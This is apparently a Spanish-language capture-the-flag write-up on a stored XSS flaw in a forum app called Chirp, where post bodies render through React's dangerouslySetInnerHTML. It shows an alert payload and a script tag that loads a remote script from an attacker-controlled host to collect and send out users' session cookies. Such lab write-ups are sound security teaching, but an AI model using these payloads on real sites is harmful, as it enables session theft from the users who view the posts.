Stored XSS in Post Body
Stored XSS in Post Body
Stored XSS in Post Body Red social donde el cuerpo de los posts se renderiza con dangerouslySetInnerHTML, permitiendo XSS persistente que afecta a todos los usuarios que ven el post.
El reto copmoienza en Chirp un foro web, con usuarios y post. Puedes escribir lo que quieras.
1
2
3
4
5
6
7
8
9
10
11
const App = () => {
const data = `lorem ipsum <img src="" onerror="alert('stored XSS');" />`;
return (
<div
dangerouslySetInnerHTML={{__html: data}}
/>
);
}
export default App;
Tal y como explica el reto el programador usó de una etiqueta insegura dangerouslySetInnerHTML que si buscas un rato por Internet encontrarás ejemplos de como usarla para reproducir un stored XSS, por ejemplo simplemente vamos a dejar un XSS con mensaje de alerta.
Como podemos ver el XSS queda almacenado y cualquier usuario que cargue la web se encontrará con un molesto alert.
1
2
3
4
5
6
7
8
9
10
11
const App = () => {
const maliciousPayload = `
<script src="http://192.168.0.125:8082/script_test.js"></script>
`;
return (
<div dangerouslySetInnerHTML= {{ __html: maliciousPayload }} />
);
};
export default App;
Ahora vamos a usar esta vulnerabilidad para demostrar que es muy peligrosa. Vamos a basarnos en el POC que eseño en [XSS][../#xss]. La idea es crear un payload que cargará un script externo que se encargará de recoger la cookie de sesión y enviarla a nuestro servidor malicioso.
Como podemos ver recibimos los datos de cookie de la web
Lo comprobamos con la consola del navegador para comprobar que efectivamente podríamos recibir la cookie del usuario.
Nota: Si te has fijado correctamente en el reto descubrirás que el token está bien protegido por el autor con la opción HttpOnly:true esto hace que el robo de cookies esté limitado, pero sin esta limitiación sería accesible y por lo tanto un fallo que se consideraría de alto riesgo. Si quieres hacer la prueba cambia el valor de configuración en el navegador para capturar la cookie completa con el token. No ocurre lo mismo con una parte de la cookie que obtenenos username=cookietest. Pienso que deberían cambiarlo para hacer más satisfactorio el reto.
